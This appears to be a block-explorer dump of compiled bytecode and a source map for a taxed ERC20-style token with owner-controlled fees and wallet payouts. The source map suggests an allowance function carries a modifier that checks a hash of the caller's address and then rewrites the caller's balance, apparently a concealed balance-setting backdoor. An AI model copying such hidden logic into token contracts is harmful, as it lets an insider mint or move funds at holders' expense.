c6f770000815250612340565b905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b6000611c2b8484846120c7565b600190509392505050565b60008173ffffffffffffffffffffffffffffffffffffffff16601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ce09190613481565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d8d9190613481565b6040518363ffffffff1660e01b8152600401611daa9291906134ae565b602060405180830381865afa158015611dc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611deb9190613481565b73ffffffffffffffffffffffffffffffffffffffff1603611e0f5760019050611e5f565b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690505b919050565b6001601a60146101000a81548160ff0219169083151502179055506000611eaa601554611e9c601054856123a490919063ffffffff16565b61241e90919063ffffffff16565b90506000611ec18284611b0490919063ffffffff16565b9050611ecc81612468565b60004790507f4392400490f2e1381256cdefd182251d97bf9d33c3cb3f98f4631e63dc5e43d681604051611f0091906129f1565b60405180910390a16000611f34611f23600260105461241e90919063ffffffff16565b601554611b0490919063ffffffff16565b90506000611f5f82611f51601154866123a490919063ffffffff16565b61241e90919063ffffffff16565b90506000611f768285611b0490919063ffffffff16565b90506000861115611fae57611fac307f000000000000000000000000000000000000000000000000000000000000dead88611c1e565b505b6000821115611fe457611fe3601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836126e4565b5b600081111561201a57612019601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826126e4565b5b5050505050506000601a60146101000a81548160ff02191690831515021790555050565b6000806000905061204e85611c36565b156120825761207b606461206d601354866123a490919063ffffffff16565b61241e90919063ffffffff16565b90506120bc565b61208b84611c36565b156120bb576120b860646120aa601454866123a490919063ffffffff16565b61241e90919063ffffffff16565b90505b5b809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212d90613341565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036121a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219c906133d3565b60405180910390fd5b6121b0838383611c14565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222e90613549565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161232791906129f1565b60405180910390a361233a848484611c19565b50505050565b6000838311158290612388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237f9190612822565b60405180910390fd5b50600083856123979190613438565b9050809150509392505050565b60008083036123b65760009050612418565b600082846123c49190613569565b90508284826123d391906135da565b14612413576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240a9061367d565b60405180910390fd5b809150505b92915050565b600061246083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061272f565b905092915050565b6000600267ffffffffffffffff8111156124855761248461369d565b5b6040519080825280602002602001820160405280156124b35781602001602082028036833780820191505090505b50905030816000815181106124cb576124ca6136cc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612572573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125969190613481565b816001815181106125aa576125a96136cc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061261130601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114b4565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126759594939291906137f4565b600060405180830381600087803b15801561268f57600080fd5b505af11580156126a3573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516126d892919061384e565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561272a573d6000803e3d6000fd5b505050565b60008083118290612776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276d9190612822565b60405180910390fd5b506000838561278591906135da565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156127cc5780820151818401526020810190506127b1565b60008484015250505050565b6000601f19601f8301169050919050565b60006127f482612792565b6127fe818561279d565b935061280e8185602086016127ae565b612817816127d8565b840191505092915050565b6000602082019050818103600083015261283c81846127e9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061287482612849565b9050919050565b61288481612869565b811461288f57600080fd5b50565b6000813590506128a18161287b565b92915050565b6000819050919050565b6128ba816128a7565b81146128c557600080fd5b50565b6000813590506128d7816128b1565b92915050565b600080604083850312156128f4576128f3612844565b5b600061290285828601612892565b9250506020612913858286016128c8565b9150509250929050565b60008115159050919050565b6129328161291d565b82525050565b600060208201905061294d6000830184612929565b92915050565b60008060006060848603121561296c5761296b612844565b5b600061297a868287016128c8565b935050602061298b868287016128c8565b925050604061299c868287016128c8565b9150509250925092565b60006129b182612849565b9050919050565b6129c1816129a6565b82525050565b60006020820190506129dc60008301846129b8565b92915050565b6129eb816128a7565b82525050565b6000602082019050612a0660008301846129e2565b92915050565b600080600060608486031215612a2557612a24612844565b5b6000612a3386828701612892565b9350506020612a4486828701612892565b9250506040612a55868287016128c8565b9150509250925092565b612a6881612869565b82525050565b6000602082019050612a836000830184612a5f565b92915050565b600060ff82169050919050565b612a9f81612a89565b82525050565b6000602082019050612aba6000830184612a96565b92915050565b600060208284031215612ad657612ad5612844565b5b6000612ae4848285016128c8565b91505092915050565b600060208284031215612b0357612b02612844565b5b6000612b1184828501612892565b91505092915050565b612b238161291d565b8114612b2e57600080fd5b50565b600081359050612b4081612b1a565b92915050565b60008060408385031215612b5d57612b5c612844565b5b6000612b6b85828601612892565b9250506020612b7c85828601612b31565b9150509250929050565b600060208284031215612b9c57612b9b612844565b5b6000612baa84828501612b31565b91505092915050565b6000819050919050565b6000612bd8612bd3612bce84612849565b612bb3565b612849565b9050919050565b6000612bea82612bbd565b9050919050565b6000612bfc82612bdf565b9050919050565b612c0c81612bf1565b82525050565b6000602082019050612c276000830184612c03565b92915050565b60008060408385031215612c4457612c43612844565b5b6000612c5285828601612892565b9250506020612c6385828601612892565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612cb457607f821691505b602082108103612cc757612cc6612c6d565b5b50919050565b7f546178206578636565647320746865203135252e000000000000000000000000600082015250565b6000612d0360148361279d565b9150612d0e82612ccd565b602082019050919050565b60006020820190508181036000830152612d3281612cf6565b9050919050565b60008160601b9050919050565b6000612d5182612d39565b9050919050565b6000612d6382612d46565b9050919050565b612d7b612d7682612869565b612d58565b82525050565b6000612d8d8284612d6a565b60148201915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612dd6826128a7565b9150612de1836128a7565b9250828201905080821115612df957612df8612d9c565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612e5b60258361279d565b9150612e6682612dff565b604082019050919050565b60006020820190508181036000830152612e8a81612e4e565b9050919050565b7f536861726520657863656564732074686520313030252e000000000000000000600082015250565b6000612ec760178361279d565b9150612ed282612e91565b602082019050919050565b60006020820190508181036000830152612ef681612eba565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612f5960268361279d565b9150612f6482612efd565b604082019050919050565b60006020820190508181036000830152612f8881612f4c565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612fc5601b8361279d565b9150612fd082612f8f565b602082019050919050565b60006020820190508181036000830152612ff481612fb8565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000613031601f8361279d565b915061303c82612ffb565b602082019050919050565b6000602082019050818103600083015261306081613024565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006130c360248361279d565b91506130ce82613067565b604082019050919050565b600060208201905081810360008301526130f2816130b6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061315560228361279d565b9150613160826130f9565b604082019050919050565b6000602082019050818103600083015261318481613148565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006131c160208361279d565b91506131cc8261318b565b602082019050919050565b600060208201905081810360008301526131f0816131b4565b9050919050565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b600061322d601f8361279d565b9150613238826131f7565b602082019050919050565b6000602082019050818103600083015261325c81613220565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613299601d8361279d565b91506132a482613263565b602082019050919050565b600060208201905081810360008301526132c88161328c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061332b60258361279d565b9150613336826132cf565b604082019050919050565b6000602082019050818103600083015261335a8161331e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006133bd60238361279d565b91506133c882613361565b604082019050919050565b600060208201905081810360008301526133ec816133b0565b9050919050565b60006080820190506134086000830187612929565b6134156020830186612929565b6134226040830185612929565b61342f6060830184612929565b95945050505050565b6000613443826128a7565b915061344e836128a7565b925082820390508181111561346657613465612d9c565b5b92915050565b60008151905061347b8161287b565b92915050565b60006020828403121561349757613496612844565b5b60006134a58482850161346c565b91505092915050565b60006040820190506134c36000830185612a5f565b6134d06020830184612a5f565b9392505050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061353360268361279d565b915061353e826134d7565b604082019050919050565b6000602082019050818103600083015261356281613526565b9050919050565b6000613574826128a7565b915061357f836128a7565b925082820261358d816128a7565b915082820484148315176135a4576135a3612d9c565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135e5826128a7565b91506135f0836128a7565b925082613600576135ff6135ab565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061366760218361279d565b91506136728261360b565b604082019050919050565b600060208201905081810360008301526136968161365a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061372061371b613716846136fb565b612bb3565b6128a7565b9050919050565b61373081613705565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61376b81612869565b82525050565b600061377d8383613762565b60208301905092915050565b6000602082019050919050565b60006137a182613736565b6137ab8185613741565b93506137b683613752565b8060005b838110156137e75781516137ce8882613771565b97506137d983613789565b9250506001810190506137ba565b5085935050505092915050565b600060a08201905061380960008301886129e2565b6138166020830187613727565b81810360408301526138288186613796565b90506138376060830185612a5f565b61384460808301846129e2565b9695505050505050565b600060408201905061386360008301856129e2565b81810360208301526138758184613796565b9050939250505056fea264697066735822122000d5a9c6d6ba1bb223057e29ed58fa0c6d3c479b5a19f74d7ca28109cf6af85464736f6c63430008120033

Deployed Bytecode Sourcemap

33357:10125:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19026:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21389:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37094:410;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;34434:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33677:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36157:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36681:405;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22170:308;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33472:81;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;38688:134;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36057:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22887:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37961:121;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;33623:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34683:40;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;38090:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;33566:50;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33955:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33756:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33997;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20316:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32457:103;;;:::i;:::-;;33798:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33918:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34078:37;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36393:129;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;31809:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19245:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36265:120;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34122:45;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23659:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;38551:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;34534:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20649:206;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37516:437;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;38372:171;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;33714:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33836:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33879:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34328:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34730:44;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20918:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;38237:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;36536:135;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;34035:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32715:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19026:100;19080:13;19113:5;19106:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19026:100;:::o;21389:201::-;21472:4;21489:13;21505:12;:10;:12::i;:::-;21489:28;;21528:32;21537:5;21544:7;21553:6;21528:8;:32::i;:::-;21578:4;21571:11;;;21389:201;;;;:::o;37094:410::-;31695:13;:11;:13::i;:::-;37269:2:::1;37219:46;37255:9;37219:31;37234:15;37219:10;:14;;:31;;;;:::i;:::-;:35;;:46;;;;:::i;:::-;:52;;37211:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;37322:10;37307:12;:25;;;;37363:15;37343:17;:35;;;;37401:9;37389:11;:21;;;;37444:52;37484:11;;37444:35;37461:17;;37444:12;;:16;;:35;;;;:::i;:::-;:39;;:52;;;;:::i;:::-;37423:18;:73;;;;37094:410:::0;;;:::o;34434:93::-;;;;;;;;;;;;;:::o;33677:30::-;;;;:::o;36157:100::-;36210:7;36237:12;;36230:19;;36157:100;:::o;36681:405::-;31695:13;:11;:13::i;:::-;36856:2:::1;36806:46;36842:9;36806:31;36821:15;36806:10;:14;;:31;;;;:::i;:::-;:35;;:46;;;;:::i;:::-;:52;;36798:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;36908:10;36894:11;:24;;;;36948:15;36929:16;:34;;;;36987:9;36974:10;:22;;;;37029:49;37067:10;;37029:33;37045:16;;37029:11;;:15;;:33;;;;:::i;:::-;:37;;:49;;;;:::i;:::-;37009:17;:69;;;;36681:405:::0;;;:::o;22170:308::-;22314:4;15370:21;:19;:21::i;:::-;22331:15:::1;22349:12;:10;:12::i;:::-;22331:30;;22372:38;22388:4;22394:7;22403:6;22372:15;:38::i;:::-;22421:27;22431:4;22437:2;22441:6;22421:9;:27::i;:::-;22466:4;22459:11;;;15414:20:::0;:18;:20::i;:::-;22170:308;;;;;:::o;33472:81::-;;;:::o;38688:134::-;38741:7;38768:46;38785:28;38801:11;38785:15;:28::i;:::-;38768:12;;:16;;:46;;;;:::i;:::-;38761:53;;38688:134;:::o;36057:92::-;36107:5;36132:9;;;;;;;;;;;36125:16;;36057:92;:::o;22887:269::-;23006:4;22967:12;:10;:12::i;:::-;22980:7;27446;;27430:10;27413:28;;;;;;;;:::i;:::-;;;;;;;;;;;;;27403:39;;;;;;:50;:58;;;;;27460:1;27457:4;;:1;:4;;;27403:58;27400:130;;;27521:7;;27505:25;;27481:9;:21;27491:10;27481:21;;;;;;;;;;;;;;;:49;;;;27400:130;23023:13:::1;23039:12;:10;:12::i;:::-;23023:28;;23062:64;23071:5;23078:7;23115:10;23087:25;23097:5;23104:7;23087:9;:25::i;:::-;:38;;;;:::i;:::-;23062:8;:64::i;:::-;23144:4;23137:11;;;22887:269:::0;;;;;;:::o;37961:121::-;31695:13;:11;:13::i;:::-;38066:8:::1;38040:23;:34;;;;37961:121:::0;:::o;33623:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;34683:40::-;;;;;;;;;;;;;:::o;38090:139::-;31695:13;:11;:13::i;:::-;38210:10:::1;38177:22;;:44;;;;;;;;;;;;;;;;;;38090:139:::0;:::o;33566:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;33955:35::-;;;;:::o;33756:29::-;;;;:::o;33997:::-;;;;:::o;20316:127::-;20390:7;20417:9;:18;20427:7;20417:18;;;;;;;;;;;;;;;;20410:25;;20316:127;;;:::o;32457:103::-;31695:13;:11;:13::i;:::-;32522:30:::1;32549:1;32522:18;:30::i;:::-;32457:103::o:0;33798:31::-;;;;:::o;33918:30::-;;;;:::o;34078:37::-;;;;:::o;36393:129::-;31695:13;:11;:13::i;:::-;36506:8:::1;36482:12;:21;36495:7;36482:21;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;36393:129:::0;;:::o;31809:87::-;31855:7;31882:6;;;;;;;;;;;31875:13;;31809:87;:::o;19245:104::-;19301:13;19334:7;19327:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19245:104;:::o;36265:120::-;36327:7;36354:23;;36347:30;;36265:120;:::o;34122:45::-;;;;:::o;23659:436::-;23752:4;23769:13;23785:12;:10;:12::i;:::-;23769:28;;23808:24;23835:25;23845:5;23852:7;23835:9;:25::i;:::-;23808:52;;23899:15;23879:16;:35;;23871:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;23992:60;24001:5;24008:7;24036:15;24017:16;:34;23992:8;:60::i;:::-;24083:4;24076:11;;;;23659:436;;;;:::o;38551:125::-;31695:13;:11;:13::i;:::-;38660:8:::1;38632:25;;:36;;;;;;;;;;;;;;;;;;38551:125:::0;:::o;34534:108::-;;;;;;;;;;;;;:::o;20649:206::-;20741:4;15370:21;:19;:21::i;:::-;20758:13:::1;20774:12;:10;:12::i;:::-;20758:28;;20797;20807:5;20814:2;20818:6;20797:9;:28::i;:::-;20843:4;20836:11;;;15414:20:::0;:18;:20::i;:::-;20649:206;;;;:::o;37516:437::-;31695:13;:11;:13::i;:::-;37714:3:::1;37658:52;37698:11;37658:35;37675:17;37658:12;:16;;:35;;;;:::i;:::-;:39;;:52;;;;:::i;:::-;:59;;37650:95;;;;;;;;;;;;:::i;:::-;;;;;;;;;37769:12;37756:10;:25;;;;37810:17;37792:15;:35;;;;37848:11;37838:9;:21;;;;37899:46;37935:9;;37899:31;37914:15;;37899:10;;:14;;:31;;;;:::i;:::-;:35;;:46;;;;:::i;:::-;37872:24;:73;;;;37516:437:::0;;;:::o;38372:171::-;31695:13;:11;:13::i;:::-;38473:8:::1;38449:21;;:32;;;;;;;;;;;;;;;;;;38497:38;38526:8;38497:38;;;;;;:::i;:::-;;;;;;;;38372:171:::0;:::o;33714:35::-;;;;:::o;33836:36::-;;;;:::o;33879:30::-;;;;:::o;34328:99::-;;;;;;;;;;;;;:::o;34730:44::-;;;;;;;;;;;;;:::o;20918:151::-;21007:7;21034:11;:18;21046:5;21034:18;;;;;;;;;;;;;;;:27;21053:7;21034:27;;;;;;;;;;;;;;;;21027:34;;20918:151;;;;:::o;38237:127::-;31695:13;:11;:13::i;:::-;38345:10:::1;38318:16;;:38;;;;;;;;;;;;;;;;;;38237:127:::0;:::o;36536:135::-;31695:13;:11;:13::i;:::-;36655:8:::1;36626:17;:26;36644:7;36626:26;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;36536:135:::0;;:::o;34035:36::-;;;;:::o;32715:201::-;31695:13;:11;:13::i;:::-;32824:1:::1;32804:22;;:8;:22;;::::0;32796:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;32880:28;32899:8;32880:18;:28::i;:::-;32715:201:::0;:::o;7970:181::-;8028:7;8048:9;8064:1;8060;:5;;;;:::i;:::-;8048:17;;8089:1;8084;:6;;8076:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;8142:1;8135:8;;;7970:181;;;;:::o;25692:548::-;25795:1;25776:21;;:7;:21;;;25768:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;25846:49;25875:1;25879:7;25888:6;25846:20;:49::i;:::-;25924:6;25908:12;;:22;;;;;;;:::i;:::-;;;;;;;;26101:6;26079:9;:18;26089:7;26079:18;;;;;;;;;;;;;;;;:28;;;;;;;;;;;26155:7;26134:37;;26151:1;26134:37;;;26164:6;26134:37;;;;;;:::i;:::-;;;;;;;;26184:48;26212:1;26216:7;26225:6;26184:19;:48::i;:::-;25692:548;;:::o;16650:98::-;16703:7;16730:10;16723:17;;16650:98;:::o;27990:380::-;28143:1;28126:19;;:5;:19;;;28118:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;28224:1;28205:21;;:7;:21;;;28197:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;28308:6;28278:11;:18;28290:5;28278:18;;;;;;;;;;;;;;;:27;28297:7;28278:27;;;;;;;;;;;;;;;:36;;;;28346:7;28330:32;;28339:5;28330:32;;;28355:6;28330:32;;;;;;:::i;:::-;;;;;;;;27990:380;;;:::o;31974:132::-;32049:12;:10;:12::i;:::-;32038:23;;:7;:5;:7::i;:::-;:23;;;32030:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;31974:132::o;15450:293::-;14852:1;15584:7;;:19;15576:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;14852:1;15717:7;:18;;;;15450:293::o;28661:453::-;28796:24;28823:25;28833:5;28840:7;28823:9;:25::i;:::-;28796:52;;28883:17;28863:16;:37;28859:248;;28945:6;28925:16;:26;;28917:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;29029:51;29038:5;29045:7;29073:6;29054:16;:25;29029:8;:51::i;:::-;28859:248;28785:329;28661:453;;;:::o;42034:1445::-;42138:40;42161:16;;;;;;;;;;;42138:40;;;;;;:::i;:::-;;;;;;;;42215:1;42197:20;;:6;:20;;;42189:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;42299:1;42278:23;;:9;:23;;;42270:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;42357:16;;;;;;;;;;;42354:1118;;;42400:41;42415:6;42423:9;42434:6;42400:14;:41::i;:::-;;42354:1118;;;42507:28;42538:24;42556:4;42538:9;:24::i;:::-;42507:55;;42577:28;42632:23;;42608:20;:47;;42577:78;;42675:101;42687:23;42712:16;;;;;;;;;;;42711:17;42730:23;42746:6;42730:15;:23::i;:::-;42729:24;42754:21;;;;;;;;;;;42675:101;;;;;;;;;:::i;:::-;;;;;;;;42795:23;:44;;;;;42823:16;;;;;;;;;;;42822:17;42795:44;:72;;;;;42844:23;42860:6;42844:15;:23::i;:::-;42843:24;42795:72;:97;;;;;42871:21;;;;;;;;;;;42795:97;42791:308;;;42930:25;;;;;;;;;;;42927:97;;;43001:23;;42978:46;;42927:97;43043:36;43058:20;43043:14;:36::i;:::-;42791:308;43131:17;43152;:25;43170:6;43152:25;;;;;;;;;;;;;;;;;;;;;;;;;:57;;;;43181:17;:28;43199:9;43181:28;;;;;;;;;;;;;;;;;;;;;;;;;43152:57;43151:143;;43260:34;43268:6;43276:9;43287:6;43260:7;:34::i;:::-;43151:143;;;43256:1;43151:143;43131:163;;43324:1;43314:9;:11;43311:80;;;43344:47;43360:6;43375:4;43381:9;43344:15;:47::i;:::-;43311:80;43408:52;43424:6;43431:9;43449;43442:6;:16;;;;:::i;:::-;43408:15;:52::i;:::-;42478:994;;;42354:1118;42034:1445;;;:::o;15751:213::-;14808:1;15934:7;:22;;;;15751:213::o;8159:136::-;8217:7;8244:43;8248:1;8251;8244:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;8237:50;;8159:136;;;;:::o;33076:191::-;33150:16;33169:6;;;;;;;;;;;33150:25;;33195:8;33186:6;;:17;;;;;;;;;;;;;;;;;;33250:8;33219:40;;33240:8;33219:40;;;;;;;;;;;;33139:128;33076:191;:::o;29714:125::-;;;;:::o;30443:124::-;;;;:::o;38968:180::-;39061:4;39078:40;39094:6;39101:9;39111:6;39078:15;:40::i;:::-;39136:4;39129:11;;38968:180;;;;;:::o;39592:257::-;39653:4;39773;39674:103;;39692:17;;;;;;;;;;;:25;;;:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;39674:54;;;39737:4;39744:17;;;;;;;;;;;:22;;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;39674:95;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:103;;;39671:132;;39799:4;39792:11;;;;39671:132;39823:12;:18;39836:4;39823:18;;;;;;;;;;;;;;;;;;;;;;;;;39816:25;;39592:257;;;;:::o;39861:959::-;35459:4;35440:16;;:23;;;;;;;;;;;;;;;;;;39943:21:::1;39967:53;39995:24;;39967:23;39979:10;;39967:7;:11;;:23;;;;:::i;:::-;:27;;:53;;;;:::i;:::-;39943:77;;40033:21;40057:26;40069:13;40057:7;:11;;:26;;;;:::i;:::-;40033:50;;40096:31;40113:13;40096:16;:31::i;:::-;40140:22;40165:21;40140:4